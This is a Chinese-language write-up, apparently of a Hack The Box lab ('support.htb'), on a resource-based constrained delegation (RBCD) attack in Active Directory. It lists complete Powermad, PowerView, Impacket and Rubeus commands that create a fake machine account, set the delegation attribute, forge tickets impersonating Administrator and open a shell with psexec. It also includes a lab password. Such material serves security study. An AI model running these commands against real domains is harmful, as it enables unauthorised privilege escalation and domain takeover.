基于资源的约束委派 (RBCD)
初始状态
-
拥有一个普通域用户权限。
-
该用户对目标机器
DC$拥有GenericAll权限。

建立跳板
利用 ms-DS-MachineAccountQuota 创建了一个虚假的机器账户 FakeComputer$。
# 1. 加载脚本
Import-Module .\Powermad.ps1
# 2. 创建一个名为 FakeComputer 的机器账户,并设置密码
New-MachineAccount -MachineAccount "FakeComputer" -Password "Password123!"
或者在 kali 远程创建:
$ addcomputer.py 'support.htb/support:Ironside47pleasure40Watchful' -dc-ip 10.129.230.181 -method SAMR -computer-name 'FakeComputer$' -computer-pass 'Password123!'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account FakeComputer$ with password Password123!.
修改目标机器属性 (RBCD 设置)
获取攻击机(跳板机)的 SID:
# Attacker-Machine = 创建的虚假机器 FakeComputer
# Target-Machine = 目标机器
Get-DomainComputer -Identity "Attacker-Machine" | Select-Object -Property objectsid
objectsid
---------
S-1-5-21-1677581083-3380853377-188903654-6101
将该 SID 写入目标机器的委派属性。使用 PowerView 设置属性,允许 Attacker-Machine$ 代表用户访问 Target-Machine$
$SD = New-DomainObjectAccessControlEntry -PrincipalIdentity "Attacker-Machine" -AccessMask GenericAll
Set-DomainObject -Identity "Target-Machine" -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SD.OriginatingObjectType}
如果 PowerView 命令报错,可以使用更底层、更通用的方式。只要加载了 ActiveDirectory 模块,可以使用以下逻辑:
# 1. 获取攻击机(FakeComputer)的 SID
$Side = (Get-ADComputer -Identity "FakeComputer").SID
# 2. 创建一个安全描述符 (Security Descriptor)
$SD = New-Object System.Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($Side.Value))"
# 3. 将其转换为字节流
$SDBytes = New-Object byte[] $SD.BinaryLength
$SD.GetBinaryForm($SDBytes, 0)
# 4. 写入目标机器的 RBCD 属性
Set-ADComputer -Identity "Target-Machine" -Replace @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
获取 FakeComputer 的 TGT
为了执行后续的 S4U 协议转换,需要拿到我所控制的这台“跳板机”的身份凭证。
使用 Rubeus 获取当前机器账户的 TGT。如果在攻击机上拥有 SYSTEM 权限,可以直接运行:
Rubeus.exe tgtdeleg /nowrap
如果是新创建了一个机器账户,根本不需要 tgtdeleg。因为我们知道这个账户的密码,可以直接向域控请求它的 TGT。
Rubeus.exe asktgt /user:FakeComputer$ /password:Password123! /domain:support.htb /outfile:fake.kirbi /nowrap
会得到 FakeComputer$ 的 TGT Base64。
S4U2Self 与 S4U2Proxy 攻击
这是提权的核心:将利用 Attacker-Machine$ 的 TGT,假冒域管理员(Administrator)向 Target-Machine$ 请求服务票据。
Rubeus.exe s4u /user:Attacker-Machine$ /ticket:<Step2获取的Base64_TGT> /impersonateuser:Administrator /msdsspn:cifs/Target-Machine.domain.com /ptt /outfile:admin.kirbi
验证并利用
klist
应该能看到一个 Client: Administrator 且 Server: cifs/Target-Machine 的票据。
注意:如果域管理员被加入了
Protected Users组,S4U2self 可能会失败。此时可以尝试模拟其他非受限的委派账户。
使用 impacket 的 ticketConverter.py 转换到 ccache 格式:
ticketConverter.py admin_cifs_dc.support.htb.kirbi ticket.ccache
把这个文件设置为 KRB5CCNAME 环境变量:
export KRB5CCNAME=ticket.ccache
使用 psexec.py 登录到目标机器:
psexec.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip 10.129.230.181
番外
关于票据类型(SPN)的理解
在执行 Rubeus s4u 提权时,我们请求的票据就像是一张限时、限地的通行证:
| 申请的 SPN | 能干什么 | 对应工具 |
|---|---|---|
cifs/A.domain.com |
访问文件共享、C$、ADMIN $、远程管理。 | psexec, smbexec, dir |
ldap/A.domain.com |
读取域数据库、执行 DCSYNC。 | secretsdump, BloodHound |
host/A.domain.com |
几乎所有基础权限(通常包含 cifs 和远程管理)。 | wmiexec, WinRM |
http/A.domain.com |
远程 PowerShell 管理。 | Enter-PSSession, Evil-WinRM |
为什么“委派”是唯一的出路?
你可能会问:既然我对目标有完全控制权(GenericAll),为什么不直接登录目标?
对象权限(ACL)与组权限(Membership)是两个完全不同的维度。简单来说:我们现在拥有的是对“计算机对象”的控制权,而不是对“域控制器”或“组对象”的修改权。
既然我们只能控制这台“机器”,无法直接改变自己的身份,那就只能诱导或强迫这台机器认为我们是管理员。
-
RBCD(基于资源的约束委派)的逻辑: 利用对机器的
GenericAll,修改了这台机器的“入场规则”(即msDS-AllowedToActOnBehalfOfOtherIdentity属性)。我们告诉这台机器:“从现在起,我控制的另一台机器可以代表任何人。” -
提权的本质: 这并没有改变我们在整个域里的地位,我们依然是一个普通用户。但是,当我们访问这台特定机器时,通过委派协议变成了该机器上的
NT AUTHORITY\SYSTEM或Administrator。

浙公网安备 33010602011771号